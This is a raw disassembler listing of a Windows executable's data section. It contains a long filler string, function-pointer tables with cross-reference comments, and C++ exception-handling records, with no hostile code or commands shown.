		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ',0
		align 4
		dd 31Bh	dup(0)
off_43F000	dd offset sub_4017D0	; DATA XREF: sub_403720+3FEo
off_43F004	dd offset byte_437AC0	; DATA XREF: sub_403CC0+2o
off_43F008	dd offset off_402027	; DATA XREF: sub_406BF0+2o sub_406C50o
off_43F00C	dd offset sub_40221B	; DATA XREF: ___:004070C5o
off_43F010	dd offset loc_40218F	; DATA XREF: sub_409BC0+4o
					; sub_409C20+Bo ...
off_43F014	dd offset loc_402045	; DATA XREF: sub_40AEA0+2o
					; sub_40AEF0+1Co
		dd offset byte_437AC0
		align 10h
off_43F020	dd offset loc_401AE1	; DATA XREF: ___:0040B1F8o
					; sub_40B250+1Eo
flt_43F024	dd 1.0			; DATA XREF: ___:0040B8A6r
off_43F028	dd offset sub_401A4B	; DATA XREF: sub_40F6D0+157o
					; sub_40FE70+1Do
		dd offset sub_402149
		dd 0
off_43F034	dd offset sub_401ACD	; DATA XREF: sub_40F6D0+142o
					; sub_40FE70+23o
off_43F038	dd offset loc_40115E	; DATA XREF: sub_411930+36o
					; sub_4119E0+1Do
		dd offset loc_402004
		dd 0
off_43F044	dd offset sub_4014C9	; DATA XREF: ___:0041325Do
					; sub_4132F0+1Fo
		dd offset sub_401D0C
		align 10h
off_43F050	dd offset sub_4019CE	; DATA XREF: sub_416D00+6o
					; sub_417EF0+8o
		dd offset sub_4020C7
		dd 0
off_43F05C	dd offset loc_401CAD	; DATA XREF: sub_416D60+6o
					; sub_417F20+8o
		dd offset sub_401230
		align 8
off_43F068	dd offset loc_401929	; DATA XREF: sub_416DC0o sub_41FCD0+8o
		dd offset sub_401CF3
		dd 0
off_43F074	dd offset sub_40111D	; DATA XREF: sub_416E10o
					; sub_4191B0+36o
off_43F078	dd offset loc_4014AB	; DATA XREF: sub_417CC0+68o
off_43F07C	dd offset sub_401064	; DATA XREF: sub_417D60+8Bo
off_43F080	dd offset sub_40138E	; DATA XREF: sub_417E30+74o
off_43F084	dd offset loc_401B81	; DATA XREF: sub_417F50+7Bo
off_43F088	dd offset loc_40204A	; DATA XREF: sub_418010+7Bo
off_43F08C	dd offset loc_401F3C	; DATA XREF: sub_4180D0+3Eo
off_43F090	dd offset sub_401FE1	; DATA XREF: sub_418150+8o
off_43F094	dd offset loc_401FF5	; DATA XREF: sub_418180+3Eo
off_43F098	dd offset sub_401E6A	; DATA XREF: sub_418200+3Eo
off_43F09C	dd offset loc_40100A	; DATA XREF: sub_418280+10o
off_43F0A0	dd offset loc_4010B4	; DATA XREF: sub_4182B0+4Bo
off_43F0A4	dd offset sub_401BB8	; DATA XREF: sub_418330+10o
off_43F0A8	dd offset sub_40171C	; DATA XREF: sub_418360+10o
off_43F0AC	dd offset sub_40161D	; DATA XREF: sub_418390+6Bo
dbl_43F0B0	dq -3.0517578125e-5	; DATA XREF: sub_4199C0+22r
		dd 0
off_43F0BC	dd offset sub_401B09	; DATA XREF: sub_41A110+Bo
					; sub_41A210+6o
off_43F0C0	dd offset sub_401E92	; DATA XREF: sub_41B0E0+Do sub_41B140o
off_43F0C4	dd offset sub_401406	; DATA XREF: ___:0041B4A2o
					; ___:0041B58Do
		dd offset sub_401686
		align 10h
off_43F0D0	dd offset loc_4019F6	; DATA XREF: sub_41D770+77o
					; sub_41D860+1Do
		dd offset sub_401C94
		dd 0
off_43F0DC	dd offset sub_4011FE	; DATA XREF: sub_427740+32o
		dd offset sub_401A78
		dd offset sub_401A50
		dd 0
off_43F0EC	dd offset loc_4016DB	; DATA XREF: sub_4277B0+6Ao
					; sub_427850+1Do
		dd offset sub_401A78
		dd offset byte_437AC0
		dd 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS	KEYPAD "+" TO EXPAND]
		db 1Ah,	40h, 0
		dd offset sub_401A78
		dd offset sub_401366
		dd 0
off_43F10C	dd offset sub_40182A	; DATA XREF: sub_4281A0+32o
		dd offset sub_401A78
		dd offset sub_401EB0
		dd 0
off_43F11C	dd offset sub_40224D	; DATA XREF: sub_428880+32o
		dd offset sub_401A78
		dd offset sub_401A14
		dd 0
off_43F12C	dd offset sub_401C3F	; DATA XREF: sub_4290B0+32o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_4015B9
		dd 0
off_43F13C	dd offset loc_402086	; DATA XREF: sub_429120+7Ao
					; sub_4291E0+1Do
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset byte_437AC0
		dd 0
off_43F14C	dd offset sub_4021D5	; DATA XREF: sub_429450+4Bo
					; sub_429540+10o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset loc_401D3E
		dd 0
off_43F15C	dd offset loc_40112C	; DATA XREF: sub_42ACB0+32o
					; sub_42AD50+9o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_40137A
		dd 0
off_43F16C	dd offset loc_401B18	; DATA XREF: sub_42AFF0+32o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_4010AF
		dd 0
off_43F17C	dd offset sub_4017B2	; DATA XREF: sub_42B380+32o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_40189D
		dd 0
off_43F18C	dd offset sub_4020EF	; DATA XREF: sub_42C4C0+27o
dword_43F190	dd 0				dd 8, 0
off_43F19C	dd offset byte_437AC0	; DATA XREF: sub_42C530+39o
off_43F1A0	dd offset sub_401F5F	; DATA XREF: ___:0042C602o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset loc_40134D
		align 10h
off_43F1B0	dd offset sub_401B36	; DATA XREF: sub_42C770+32o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_401537
		align 10h
		dd offset loc_4015FA
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_4019F1
		align 10h
		dd offset dword_43F348
off_43F1D4	dd offset loc_437B01	; DATA XREF: ___:off_444890o
					; ___:off_4448B0o ...
		dd 0FFFFFFFFh, 437E9Ch,	437EB0h, 4Dh dup(0)
off_43F318	dd offset off_448C90	; DATA XREF: ___:0043F330o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_43F318
		dd 0
		db    0			; DATA XREF: ___:0043F358o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 43F330h
dword_43F348	dd 3 dup(0)			dd offset off_448C90
		dd offset unk_43F338
		dd 45h dup(0)
dword_43F470	dd 19930520h, 5, 43F490h, 5 dup(0)		dd 0FFFFFFFFh, 438E1Ch,	0
		dd offset dword_4382CC+0B24h
		dd 1, 438DFBh, 2, 438E06h, 3, 438E11h, 2 dup(0)
dword_43F4C0	dd 19930520h, 3Dh, 43F4E0h, 5 dup(0)		dd 0FFFFFFFFh, 438E60h,	0
		dd offset loc_438E6B
		dd 1, 438E76h, 2, 438E84h, 3, 438E92h, 4, 438EA0h, 5, 438EAEh
		dd 6, 438EBCh, 7, 438ECAh, 8, 438ED8h, 9, 438EE6h, 0Ah
		dd 438EF4h, 0Bh, 438F02h, 0Ch, 438F10h,	0Dh, 438F1Eh, 0Eh
		dd 438F2Ch, 0Fh, 438F3Ah, 10h, 438F48h,	11h, 438F56h, 12h
		dd 438F64h, 13h, 438F72h, 14h, 438F80h,	15h, 438F8Eh, 16h
		dd 438F9Ch, 17h, 438FAAh, 18h, 438FB8h,	19h, 438FC6h, 1Ah
		dd 438FD4h, 1Bh, 438FE2h, 1Ch, 438FF0h,	1Dh, 438FFEh, 1Eh
		dd 43900Ch, 1Fh, 43901Ah, 20h, 439028h,	21h, 439036h, 22h
		dd 439044h, 23h, 439052h, 24h, 439060h,	25h, 43906Eh, 26h
		dd 43907Ch, 27h, 43908Ah, 28h, 439098h,	29h, 4390A6h, 2Ah
		dd 4390B4h, 2Bh, 4390C2h, 2Ch, 4390D0h,	2Dh, 4390DEh, 2Eh
		dd 4390ECh, 2Fh, 4390FAh, 30h, 439108h,	31h, 439116h, 32h
		dd 439124h, 33h, 439132h, 34h, 439140h,	35h, 43914Eh, 36h
		dd 43915Ch, 37h, 43916Ah, 38h, 439178h,	39h, 439186h, 3Ah
		dd 439194h, 3Bh, 4391A2h, 0Eh dup(0)
dword_43F700	dd 19930520h, 1, 43F720h, 5 dup(0)		dd 0FFFFFFFFh, 439290h,	2 dup(0)
dword_43F730	dd 19930520h, 2, 43F750h, 5 dup(0)		dd 0FFFFFFFFh, 4392B0h,	0
		dd offset loc_4392B8
		dd 2 dup(0)
dword_43F768	dd 19930520h, 2, 43F788h, 5 dup(0)		dd 0FFFFFFFFh, 4392E0h,	0
		dd offset loc_4392E8
		align 10h
dword_43F7A0	dd 19930520h, 1, 43F7C0h, 5 dup(0)		dd 0FFFFFFFFh, 439310h,	2 dup(0)
dword_43F7D0	dd 19930520h, 7, 43F7F0h, 5 dup(0)		dd 0FFFFFFFFh, 439330h,	0
		dd offset loc_439338
		dd 1, 439343h, 2, 439351h, 3, 43935Fh, 4, 43936Dh, 5, 43937Bh
		dd 2 dup(0)
dword_43F830	dd 19930520h, 7, 43F850h, 5 dup(0)		dd 0FFFFFFFFh, 4393B0h,	0
		dd offset loc_4393B8
		dd 1, 4393C3h, 2, 4393D1h, 3, 4393DFh, 4, 4393EDh, 5, 4393FBh
		dd 2 dup(0)
dword_43F890	dd 19930520h, 11h, 43F8B0h, 5 dup(0)		dd 0FFFFFFFFh, 439430h,	0FFFFFFFFh, 439438h, 0FFFFFFFFh
		dd 439440h, 0FFFFFFFFh,	439448h, 0FFFFFFFFh, 439450h, 0FFFFFFFFh
		dd 439458h, 0FFFFFFFFh,	439460h, 0FFFFFFFFh, 439468h, 0FFFFFFFFh
		dd 439470h, 0FFFFFFFFh,	439478h, 0FFFFFFFFh, 439480h, 0FFFFFFFFh
		dd 439488h, 0FFFFFFFFh,	439490h, 0FFFFFFFFh, 439498h, 0FFFFFFFFh
		dd 4394A0h, 0Eh, 4394A8h, 0Eh, 4394B0h,	4 dup(0)
dword_43F948	dd 19930520h, 0Bh, 43F968h, 5 dup(0)		dd 0FFFFFFFFh, 4394F0h,	0
		dd offset loc_4394F8
		dd 0FFFFFFFFh, 439500h,	2, 439508h, 0FFFFFFFFh,	439510h
		dd 0FFFFFFFFh, 439518h,	0FFFFFFFFh, 439520h, 0FFFFFFFFh
		dd 439528h, 7, 439533h,	7, 43953Bh, 9, 439543h,	4 dup(0)
dword_43F9D0	dd 19930520h, 31h, 43F9F0h, 5 dup(0)		dd 0FFFFFFFFh, 439570h,	0
		dd offset loc_43957B
		dd 0
		dd offset loc_439586
		dd 0FFFFFFFFh, 439591h,	0FFFFFFFFh, 43959Ch, 4,	4395A7h
		dd 0FFFFFFFFh, 4395B2h,	6, 4395BDh, 6, 4395C8h,	8, 4395D3h
		dd 0FFFFFFFFh, 4395DEh,	0Ah, 4395E9h, 0Ah, 4395F4h, 0Ah
		dd 4395FFh, 0Ah, 43960Ah, 0Ah, 439615h,	0Ah, 439620h, 0FFFFFFFFh
		dd 43962Bh, 11h, 439636h, 11h, 439641h,	0FFFFFFFFh, 43964Ch
		dd 0FFFFFFFFh, 439657h,	15h, 439662h, 0FFFFFFFFh, 43966Dh
		dd 0FFFFFFFFh, 439678h,	18h, 439683h, 0FFFFFFFFh, 43968Eh
		dd 0FFFFFFFFh, 439699h,	0FFFFFFFFh, 4396A4h, 0FFFFFFFFh
		dd 4396AFh, 1Dh, 4396BAh, 1Dh, 4396C5h,	1Dh, 4396D0h, 1Dh
		dd 4396DBh, 1Dh, 4396E6h, 22h, 4396F1h,	22h, 4396FCh, 22h
		dd 439707h, 22h, 439712h, 22h, 43971Dh,	22h, 439728h, 22h
		dd 439733h, 22h, 43973Eh, 22h, 439749h,	22h, 439754h, 22h
		dd 43975Fh, 22h, 43976Ah, 22h, 439775h,	22h, 439780h, 0Ch dup(0)
dword_43FBA8	dd 19930520h, 2, 43FBC8h, 5 dup(0)		dd 0FFFFFFFFh, 439828h,	0
		dd offset loc_439820
		align 10h
dword_43FBE0	dd 19930520h, 2, 43FC00h, 5 dup(0)		dd 0FFFFFFFFh, 43986Bh,	0
		dd offset loc_439860
		dd 2 dup(0)
dword_43FC18	dd 19930520h, 3, 43FC38h, 5 dup(0)		dd 0FFFFFFFFh, 4398A0h,	0
		dd offset loc_4398AB
		dd 0
		dd offset loc_4398B6
		dd 2 dup(0)
dword_43FC58	dd 19930520h, 1, 43FC78h, 5 dup(0)		dd 0FFFFFFFFh, 4398E0h,	2 dup(0)
dword_43FC88	dd 19930520h, 1, 43FCA8h, 5 dup(0)		dd 0FFFFFFFFh, 439900h,	2 dup(0)
dword_43FCB8	dd 19930520h, 2, 43FCD8h, 5 dup(0)		dd 0FFFFFFFFh, 439920h,	0
		dd offset loc_439928
		align 10h
dword_43FCF0	dd 19930520h, 57h, 43FD10h, 5 dup(0)		dd 0FFFFFFFFh, 439940h,	0
		dd offset loc_43994B
		dd 1, 439956h, 2, 439961h, 3, 43996Ch, 4, 439977h, 5, 439982h
		dd 6, 43998Dh, 7, 439998h, 8, 4399A3h, 9, 4399ABh, 0Ah
		dd 4399B3h, 0Bh, 4399BEh, 0Ch, 4399C6h,	0Dh, 4399CEh, 0Eh
		dd 4399D9h, 0Fh, 4399E4h, 10h, 4399EFh,	11h, 4399FAh, 12h
		dd 439A05h, 13h, 439A10h, 14h, 439A1Bh,	15h, 439A26h, 16h
		dd 439A31h, 17h, 439A3Ch, 18h, 439A47h,	19h, 439A52h, 1Ah
		dd 439A5Dh, 1Bh, 439A68h, 1Ch, 439A73h,	1Dh, 439A7Eh, 1Eh
		dd 439A89h, 1Eh, 439A94h, 1Eh, 439A9Fh,	1Eh, 439AAAh, 1Eh
		dd 439AB5h, 1Eh, 439AC0h, 1Eh, 439ACBh,	1Eh, 439AD6h, 1Eh
		dd 439AE1h, 1Eh, 439AECh, 28h, 439AF7h,	1Eh, 439AF7h, 1Eh
		dd 439B02h, 2Bh, 439B0Dh, 1Eh, 439B0Dh,	1Eh, 439B18h, 2Eh
		dd 439B23h, 1Eh, 439B23h, 1Eh, 439B2Eh,	31h, 439B39h, 1Eh
		dd 439B39h, 1Eh, 439B44h, 34h, 439B4Fh,	1Eh, 439B4Fh, 1Eh
		dd 439B5Ah, 37h, 439B65h, 1Eh, 439B65h,	1Eh, 439B70h, 3Ah
		dd 439B7Bh, 1Eh, 439B7Bh, 1Eh, 439B86h,	3Dh, 439B91h, 1Eh
		dd 439B91h, 1Eh, 439B9Ch, 40h, 439BA7h,	1Eh, 439BA7h, 1Eh
		dd 439BB2h, 43h, 439BBDh, 1Eh, 439BBDh,	1Eh, 439BC8h, 46h
		dd 439BD3h, 1Eh, 439BD3h, 1Eh, 439BDEh,	49h, 439BE9h, 1Eh
		dd 439BE9h, 1Eh, 439BF4h, 4Ch, 439BFFh,	1Eh, 439BFFh, 1Eh
		dd 439C0Ah, 4Fh, 439C15h, 1Eh, 439C15h,	1Eh, 439C20h, 52h
		dd 439C2Bh, 53h, 439C36h, 54h, 439C41h,	55h, 439C4Ch, 13h dup(0)
		dd offset off_444890
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	437AF0h, 2 dup(0)
		dd offset off_4448B0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	437F1Ah, 2 dup(0)
		dd offset off_4448D8
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	437F20h, 0
dword_440070	dd 3, 440050h, 440030h,	440010h, 2 dup(0)dword_440088	dd 0							; ___:0040AA77o
		dd offset dword_437EC4+62h
		dd 0
		dd offset dword_440070
		align 10h
dword_4400A0	dd 19930520h, 1, 4400C0h, 5 dup(0)		dd 0FFFFFFFFh, 439D30h,	2 dup(0)
dword_4400D0	dd 19930520h, 1, 4400F0h, 5 dup(0)		dd 0FFFFFFFFh, 439D50h,	2 dup(0)
dword_440100	dd 19930520h, 3, 440120h, 5 dup(0)		dd 0FFFFFFFFh, 439D70h,	0
		dd offset loc_439D87
		dd 1, 439D8Fh, 2 dup(0)
dword_440140	dd 19930520h, 1, 440160h, 5 dup(0)		dd 0FFFFFFFFh, 439DB0h,	2 dup(0)
dword_440170	dd 19930520h, 2, 440190h, 1, 4401A0h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 4401B8h, 4	dup(0)
		dd offset sub_40AF32
		align 10h
dword_4401D0	dd 19930520h, 2, 4401F0h, 1, 440200h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 440218h, 4	dup(0)
		dd offset sub_40B0B1
		align 10h
dword_440230	dd 19930520h, 4, 440250h, 5 dup(0)		dd 0FFFFFFFFh, 439DF0h,	0
		dd offset loc_439DFB
		dd 1, 439E06h, 2, 439E11h, 2 dup(0)
dword_440278	dd 19930520h, 4, 440298h, 5 dup(0)		dd 0FFFFFFFFh, 439E40h,	0
		dd offset loc_439E4B
		dd 1, 439E56h, 2, 439E61h, 2 dup(0)
dword_4402C0	dd 19930520h, 3, 4402E0h, 5 dup(0)		dd 0FFFFFFFFh, 439E90h,	0FFFFFFFFh, 439E98h, 0FFFFFFFFh
		dd 439EA0h, 2 dup(0)
dword_440300	dd 19930520h, 3, 440320h, 5 dup(0)		dd 0FFFFFFFFh, 439EC0h,	0
		dd offset loc_439EC8
		dd 1, 439ED0h, 2 dup(0)
dword_440340	dd 19930520h, 1, 440360h, 5 dup(0)		dd 0FFFFFFFFh, 439EF0h,	2 dup(0)
dword_440370	dd 19930520h, 4, 440390h, 5 dup(0)		dd 0FFFFFFFFh, 439F10h,	0FFFFFFFFh, 439F18h, 0FFFFFFFFh
		dd 439F20h, 2, 439F28h,	2 dup(0)
dword_4403B8	dd 19930520h, 1, 4403D8h, 5 dup(0)		dd 0FFFFFFFFh, 439F50h,	2 dup(0)
dword_4403E8	dd 19930520h, 4, 440408h, 5 dup(0)		dd 0FFFFFFFFh, 439F70h,	0
		dd offset loc_439F7B
		dd 0
		dd offset loc_439F86
		dd 2, 439F91h, 2 dup(0)
dword_440430	dd 19930520h, 1, 440450h, 5 dup(0)		dd 0FFFFFFFFh, 439FC0h,	2 dup(0)
dword_440460	dd 19930520h, 5, 440480h, 5 dup(0)		dd 0FFFFFFFFh, 439FE0h,	0
		dd offset loc_439FEB
		dd 0
		dd offset loc_439FF6
		dd 0
		dd offset loc_43A001
		dd 0
		dd offset loc_43A00C
		align 10h
dword_4404B0	dd 19930520h, 2, 4404D0h, 5 dup(0)		dd 0FFFFFFFFh, 43A040h,	0
		dd offset loc_43A04B
		dd 2 dup(0)
dword_4404E8	dd 19930520h, 2, 440508h, 5 dup(0)		dd 0FFFFFFFFh, 43A070h,	0
		dd offset loc_43A07B
		align 10h
dword_440520	dd 19930520h, 4, 440540h, 5 dup(0)		dd 0FFFFFFFFh, 43A0A0h,	0FFFFFFFFh, 43A0A8h, 0FFFFFFFFh
		dd 43A0B0h, 0FFFFFFFFh,	43A0B8h, 2 dup(0)
dword_440568	dd 19930520h, 8, 440588h, 5 dup(0)		dd 0FFFFFFFFh, 43A0E0h,	0
		dd offset loc_43A0EB
		dd 1, 43A0F6h, 1, 43A101h, 1, 43A10Ch, 1, 43A117h, 1, 43A122h
		dd 1, 43A12Dh, 4 dup(0)
dword_4405D8	dd 19930520h, 0Dh, 4405F8h, 5 dup(0)		dd 0FFFFFFFFh, 43A160h,	0FFFFFFFFh, 43A16Bh, 1,	43A176h
		dd 2, 43A181h, 3, 43A18Ch, 4, 43A197h, 5, 43A1A2h, 6, 43A1ADh
		dd 7, 43A1B8h, 8, 43A1C3h, 9, 43A1CEh, 0Ah, 43A1D9h, 0Bh
		dd 43A1E4h, 4 dup(0)
dword_440670	dd 19930520h, 6, 440690h, 5 dup(0)		dd 0FFFFFFFFh, 43A220h,	0
		dd offset loc_43A228
		dd 1, 43A230h, 2, 43A238h, 2, 43A240h, 2, 43A248h, 2 dup(0)
dword_4406C8	dd 19930520h, 6, 4406E8h, 5 dup(0)		dd 0FFFFFFFFh, 43A270h,	0
		dd offset loc_43A278
		dd 1, 43A280h, 2, 43A288h, 2, 43A290h, 2, 43A298h, 2 dup(0)
dword_440720	dd 19930520h, 3, 440740h, 5 dup(0)		dd 0FFFFFFFFh, 43A2C0h,	0
		dd offset loc_43A2C8
		dd 1, 43A2D0h, 2 dup(0)
dword_440760	dd 19930520h, 1, 440780h, 5 dup(0)		dd 0FFFFFFFFh, 43A2F0h,	2 dup(0)
dword_440790	dd 19930520h, 7, 4407B0h, 5 dup(0)		dd 0FFFFFFFFh, 43A310h,	0
		dd offset loc_43A318
